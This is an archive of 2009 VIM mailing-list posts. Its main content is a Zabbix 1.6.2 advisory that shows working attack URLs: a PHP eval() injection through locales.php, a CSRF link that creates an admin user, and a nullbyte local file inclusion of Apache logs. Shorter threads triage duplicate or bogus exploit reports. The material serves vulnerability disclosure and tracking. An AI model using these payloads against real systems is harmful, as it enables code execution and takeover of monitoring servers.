From str0ke at milw0rm.com Mon Mar 2 20:17:42 2009 From: str0ke at milw0rm.com (str0ke) Date: Mon, 02 Mar 2009 14:17:42 -0600 Subject: [VIM] [MIL] 7996 / 7992 PATCHED Message-ID: <49AC3EE6.4090104@milw0rm.com> The developer has patched both MIL ID's with version 0.7.1 You can download the new version from http://clearbudget.douteaud.com/?dowload From ascii at katamail.com Tue Mar 3 15:30:26 2009 From: ascii at katamail.com (ascii) Date: Tue, 03 Mar 2009 15:30:26 +0000 Subject: [VIM] Zabbix 1.6.2 Frontend Multiple Vulnerabilities Message-ID: <49AD4D12.7000601@katamail.com> Zabbix 1.6.2 Frontend Multiple Vulnerabilities Name Multiple Vulnerabilities in Zabbix Frontend Systems Affected Zabbix 1.6.2 and possibly earlier versions Severity High Impact (CVSSv2) High 9.7/10, vector: (AV:N/AC:L/Au:N/C:P/I:C/A:C) Vendor http://www.zabbix.com/ Advisory http://www.ush.it/team/ush/hack-zabbix_162/adv.txt Authors Antonio "s4tan" Parata (s4tan AT ush DOT it) Francesco "ascii" Ongaro (ascii AT ush DOT it) Giovanni "evilaliv3" Pellerano (evilaliv3 AT digitalbullets DOT org) Date 20090303 I. BACKGROUND >From the Zabbix web site: "ZABBIX offers advanced monitoring, alerting and visualization features today which are missing in other monitoring systems, even some of the best commercial ones". II. DESCRIPTION Multiple Vulnerabilities exist in Zabbix front end software. III. ANALYSIS Summary: A) Remote Code Execution B) Cross Site Request Forgery C) Local File Inclusion A) Remote Code Execution A Remote Code Execution issue has been found in Zabbix version 1.6.2 and no authentication is required in order to exploit this vulnerability. The Magic Quotes must be off in order to exploit this vulnerability, however this feature will not be supported starting with PHP 6.0 (ref. http://it2.php.net/magic_quotes). Zabbix has a security feature that parses all incoming input for possible bad chars with the help of the function check_fields() defined in "include/validate.inc.php". The issue we have discovered is contained in this input validation code. Pages define an array of every used variable that derives from external (GPC) input. An example of the mechanism is the following: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- $fields=array( "config"=> array(T_ZBX_INT, O_OPT, P_SYS, IN("0,1"), NULL), // actions "groupid"=> array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL), "hostid"=> array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL), "start"=> array(T_ZBX_INT, O_OPT, P_SYS, BETWEEN(0,65535)."({}%". PAGE_SIZE."==0)", NULL), "next"=> array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL), "prev"=> array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL), // filter "filter_rst"=> array(T_ZBX_INT, O_OPT, P_SYS, IN(array(0,1)), NULL), "filter_set"=> array(T_ZBX_STR, O_OPT, P_SYS, null, NULL), "userid"=> array(T_ZBX_INT, O_OPT, P_SYS, DB_ID, NULL), 'filter_timesince'=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL), 'filter_timetill'=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL), //ajax 'favobj'=> array(T_ZBX_STR, O_OPT, P_ACT, NULL, NULL), 'favid'=> array(T_ZBX_STR, O_OPT, P_ACT, NOT_EMPTY, 'isset({favobj})'), 'state'=> array(T_ZBX_INT, O_OPT, P_ACT, NOT_EMPTY, 'isset({favobj}) && ("filter"=={favobj})'), ); check_fields($fields); --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- After the definition of the "$fields" array all the variables are checked by the function check_fields(). The main step of the check_fields() function is: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- foreach($fields as $field => $checks){ $err |= check_field($fields, $field, $checks); } --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- Following the check_field() function we have identified that the function's main steps are the creation of some local variables using list() and a consequent call of calc_exp() (which resides in the same file). --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- list($type, $opt, $flags, $validation, $exception) = $checks; [...] $except=calc_exp($fields,$field,$exception); --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- calc_exp()'s code is: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- function calc_exp($fields,$field,$expression){ if(zbx_strstr($expression,"{}") && !isset($_REQUEST[$field])) return FALSE; if(zbx_strstr($expression,"{}") && !is_array($_REQUEST[$field])) $expression = str_replace("{}",'$_REQUEST["'.$field.'"]',$expression); if(zbx_strstr($expression,"{}") && is_array($_REQUEST[$field])){ foreach($_REQUEST[$field] as $key => $val){ $expression2 = str_replace("{}",'$_REQUEST["'.$field.'"]["'.$key.'"]',$expression); if(calc_exp2($fields,$field,$expression2)==FALSE) return FALSE; } return TRUE; } return calc_exp2($fields,$field,$expression); } --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- As you can see we should be able to call calc_exp2(), our vulnerable function, avoiding to fall into a breach that exits (returns) from the function. Investigating calc_exp2()'s source: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- function calc_exp2($fields,$field,$expression){ foreach($fields as $f => $checks){ $expression = str_replace('{'.$f.'}','$_REQUEST["'.$f.'"]',$expression); } $expression = trim($expression,"& "); $exec = "return (".$expression.") ? 1 : 0;"; $ret = eval($exec); return $ret; } --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- We have reached a function that contains an eval() call of the "$exec" variable that contains user controlled data. To better understand how the executed string is composed we must find a disposable page. Thanks to "locales.php" we can reach this function without any authentication. Now if we try to execute the query: /locales.php?download&langTo&extlang[AAA]=1 The value of $exec is the following: return (($_REQUEST["extlang"]["AAA"]!='')) ? 1 : 0; Some constraints exist: the injected payload must comply with the calc_exp()'s requirements in order to call calc_exp2() and the created string must be syntactically correct. What we can do is to play with the key values of the array. An intermediate test was: /locales.php?download&langTo&extlang[AAA"];phpinfo();]=1 But it generates a syntax error. After some thinking the problem was solved in this way: /locales.php?download&langTo&extlang[".phpinfo()."]=1 Now the syntax is correct and the payload gets executed. B) Cross Site Request Forgery A CSRF vulnerability exists in file "users.php". If the admin visits the following link: /users.php?config=0&save&alias=alias&name=foo&surname=foo&user_type=3& lang=lang&theme=theme&autologout=0&url=url&refresh=0 A user with admin permissions is created. C) Local File Inclusion If the user is authenticated, a Local File Inclusion vulnerability exists in file "locales.php". The following URL exploits this vulnerability: /locales.php?action=1&next=1&srclang=../validate&extlang=en A string in the form of ".inc.php" is automatically appended to the local file path. Despite that it's possible to include every target file truncating the filename using %00 (nullbyte): /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22 Nullbyte injection normally requires magic quotes off. The vulnerable code is the following: --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- 'srclang'=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, 'isset({next})'), [...] else if(isset($_REQUEST['next'])){ [...] $fileFrom = 'include/locales/'.$_REQUEST['srclang'].".inc.php"; if(file_exists($fileFrom)){ include($fileFrom); --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<-- IV. DETECTION Zabbix 1.6.2 and possibly earlier versions are vulnerable. V. WORKAROUND Update zabbix from svn the server (svn://svn.zabbix.com) or download version 1.6.3 when aviable. VI. VENDOR RESPONSE Vendor will fix all the exposed vulnerabilities in Zabbix 1.6.3. VII. CVE INFORMATION No CVE at this time. VIII. DISCLOSURE TIMELINE 20081215 Bug discovered 20090116 Initial vendor contact 20090116 Vendor Response (Fixes will be included in Zabbix 1.6.3) 20090130 Second email (When this is going to be fixed?) 20090131 Vendor Response (Everything has been fixed a week ago and is publicy aviable in the SVN, Zabbix 1.6.3 will be released within 10-15 days) 20090220 Third email (20 days elasped and no response, we will release on 23 Feb) 20090220 Vendor Response (Postpone of 5-10 days required) 20090220 Third email (We will wait 5-10 days, 2 March is the deadline if no contact) 20090303 Forced Advisory Release IX. CREDIT Antonio "s4tan" Parata, Francesco "ascii" Ongaro and Giovanni "evilaliv3" Pellerano are credited with the discovery of this vulnerability. Antonio "s4tan" Parata web site: http://www.ictsc.it/ mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it Francesco "ascii" Ongaro web site: http://www.ush.it/ mail: ascii AT ush DOT it Giovanni "evilaliv3" Pellerano web site: http://www.evilaliv3.org mail: giovanni.pellerano AT evilaliv3 DOT org X. LEGAL NOTICES Copyright (c) 2009 Francesco "ascii" Ongaro Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without mine express written consent. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email me for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. From rkeith at securityfocus.com Mon Mar 16 18:37:02 2009 From: rkeith at securityfocus.com (Rob Keith) Date: Mon, 16 Mar 2009 12:37:02 -0600 Subject: [VIM] [Fwd: new bug | BarCodeWiz Barcode ActiveX Control 2.74 (BarcodeWiz.dll) SEH Overwrite] Message-ID: <49BE9C4E.7010506@securityfocus.com> Hey, Seen a few exploits from 'Faryad Rahmany' from a number of different email addresses in the last month or so. Most if not all of which, including this one, look to be ripoffs from other peoples exploits (BID 23891: http://downloads.securityfocus.com/vulnerabilities/exploits/23891-Parveen.html, www.milw0rm.com/exploits/download/3882). In this case, the only change is the method being called, the length of 'A' s, and of course the credit. Anyways, we've started treating anything from this reporter as bogus reports. If any one else has further insights, please pass them along. Thanks, Rob -------- Original Message -------- Subject: new bug | BarCodeWiz Barcode ActiveX Control 2.74 (BarcodeWiz.dll) SEH Overwrite Date: Mon, 16 Mar 2009 11:04:11 -0700 (PDT) From: Mr.YaHoO To: vuldb at securityfocus.com CC: str0ke at milw0rm.com, secalert at securityreason.com -------------------------------------------------------------------------------------------------------------------------------- \\\|/// \\ - - // Y! Underground Group ( @ @ ) ----oOOo--(_)-oOOo-------------------------------------------------- This Bug Discover By Ciph3r Email: Ciph3r_blackhat at yahoo.com Author : Faryad Rahmany HomePage : http://Attacker.ir & http://2600.ir & http://rahmany.net ----ooooO-----Ooooo-------------------------------------------------- ( ) ( ) \ ( ) / \_) (_/ ---------------------------------------------------------------------------------------------------------------------------------- -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: BarCodeWiz Barcode ActiveX Control 2.74 (BarcodeWiz.dll) SEH Overwrite.txt Url: http://www.attrition.org/pipermail/vim/attachments/20090316/1ece2c1a/attachment.txt From theall at tenablesecurity.com Tue Mar 17 13:14:52 2009 From: theall at tenablesecurity.com (George A. Theall) Date: Tue, 17 Mar 2009 09:14:52 -0400 Subject: [VIM] Morovia Barcode ActiveX 3.6.2 (MrvBarCd.dll) Insecure Method Exploit Message-ID: FYI, milw0rm 3899 and 8208 look like they are for the same underlying issue, albeit involving different versions of the software. George -- theall at tenablesecurity.com From str0ke at milw0rm.com Tue Mar 17 14:25:50 2009 From: str0ke at milw0rm.com (str0ke) Date: Tue, 17 Mar 2009 09:25:50 -0500 Subject: [VIM] Morovia Barcode ActiveX 3.6.2 (MrvBarCd.dll) Insecure Method Exploit In-Reply-To: References: Message-ID: <49BFB2EE.2020803@milw0rm.com> Updated version of the product and the vulnerability is still there? George A. Theall wrote: > FYI, milw0rm 3899 and 8208 look like they are for the same underlying > issue, albeit involving different versions of the software. > > > George From theall at tenablesecurity.com Tue Mar 17 14:36:22 2009 From: theall at tenablesecurity.com (George A. Theall) Date: Tue, 17 Mar 2009 10:36:22 -0400 Subject: [VIM] Morovia Barcode ActiveX 3.6.2 (MrvBarCd.dll) Insecure Method Exploit In-Reply-To: References: Message-ID: <6843F363-31EB-4734-8786-E5EBA1E5C33A@tenablesecurity.com> On Mar 17, 2009, at 9:14 AM, George A. Theall wrote: > FYI, milw0rm 3899 and 8208 look like they are for the same > underlying issue, albeit involving different versions of the software. On further investigation, they are different. The earlier advisory from Shinnai involves overwriting arbitrary files, such as "c:\windows \system_.ini". The more recent one, from Cyber-Zone, involves creating arbitrary files, although I'm not sure if there's a way for an attacker to control the content of the file. Btw, Morovia fixed the earlier issue in January 2009 by releasing version 2.6.0 (search for "Bug 552" in the release notes, at http://mdn.morovia.com/manuals/bax3/Barcode-ActiveX-Release-Notes.htm) . There are two affected methods -- 'Save', which Shinnai reported, as well as 'ExportImage'. Using Cyber-Zone's PoC, both methods still allow you to create arbitrary files in the current version (3.6.2). George -- theall at tenablesecurity.com From coley at linus.mitre.org Tue Mar 17 20:13:11 2009 From: coley at linus.mitre.org (Steven M. Christey) Date: Tue, 17 Mar 2009 16:13:11 -0400 (EDT) Subject: [VIM] false? CVE-2008-6049 / TinyMCE SQL injection Message-ID: Researcher: AnGeL25dZ http://www.milw0rm.com/exploits/7506 As noted by Nico Golde here: http://www.openwall.com/lists/oss-security/2009/02/08/1 There's no PHP code. http://tinymce.moxiecode.com/ says "Javascript WYSIWYG Editor." str0ke? - Steve From theall at tenablesecurity.com Tue Mar 17 21:09:31 2009 From: theall at tenablesecurity.com (George A. Theall) Date: Tue, 17 Mar 2009 17:09:31 -0400 Subject: [VIM] false? CVE-2008-6049 / TinyMCE SQL injection In-Reply-To: References: Message-ID: <3C1F9FB8-9E04-4420-8869-9433A1AE314F@tenablesecurity.com> On Mar 17, 2009, at 4:13 PM, Steven M. Christey wrote: > > Researcher: AnGeL25dZ > > http://www.milw0rm.com/exploits/7506 > > As noted by Nico Golde here: > > http://www.openwall.com/lists/oss-security/2009/02/08/1 > > There's no PHP code. http://tinymce.moxiecode.com/ says "Javascript > WYSIWYG Editor." For what it's worth, TinyMCE has been integrated into a variety of CMSes (eg, see http://wiki.moxiecode.com/index.php/ TinyMCE:CMS_systems), some of which use PHP to call it (eg, Joomla). Perhaps the issue isn't in TinyMCE per se but in one of those other products. George -- theall at tenablesecurity.com From str0ke at milw0rm.com Tue Mar 17 21:26:57 2009 From: str0ke at milw0rm.com (str0ke) Date: Tue, 17 Mar 2009 16:26:57 -0500 Subject: [VIM] false? CVE-2008-6049 / TinyMCE SQL injection In-Reply-To: <3C1F9FB8-9E04-4420-8869-9433A1AE314F@tenablesecurity.com> References: <3C1F9FB8-9E04-4420-8869-9433A1AE314F@tenablesecurity.com> Message-ID: <49C015A1.6020209@milw0rm.com> George A. Theall wrote: > On Mar 17, 2009, at 4:13 PM, Steven M. Christey wrote: > >> >> Researcher: AnGeL25dZ >> >> http://www.milw0rm.com/exploits/7506 >> > Well its not TinyMCE thats vulnerable thats for sure. I'm betting its a CMS like George stated thats affected. Not sure which one though. Removing it from the frontend and noting it. /str0ke From str0ke at milw0rm.com Tue Mar 17 21:33:34 2009 From: str0ke at milw0rm.com (str0ke) Date: Tue, 17 Mar 2009 16:33:34 -0500 Subject: [VIM] Latest ECHO Advisories Message-ID: <49C0172E.7080005@milw0rm.com> ----------------------------------------------------------------------------------------- [ECHO_ADV_107$2009] FubarForum <= 1.6 Critical File Disclosure Vulnerability ----------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------- [ECHO_ADV_105$2009] chaozzDB <= 1.2 Critical File Disclosure Vulnerability ----------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------- [ECHO_ADV_106$2009] FireAnt <= 1.3 Critical File Disclosure Vulnerability ----------------------------------------------------------------------------------------- Anyone else seeing an .htaccess file blocking these attacks in the /db/ folders? Looking at the date it doesn't seem that anything has been modified by the vendor. Dates on the .htaccess files are 2008sh and the versions haven't changed. /str0ke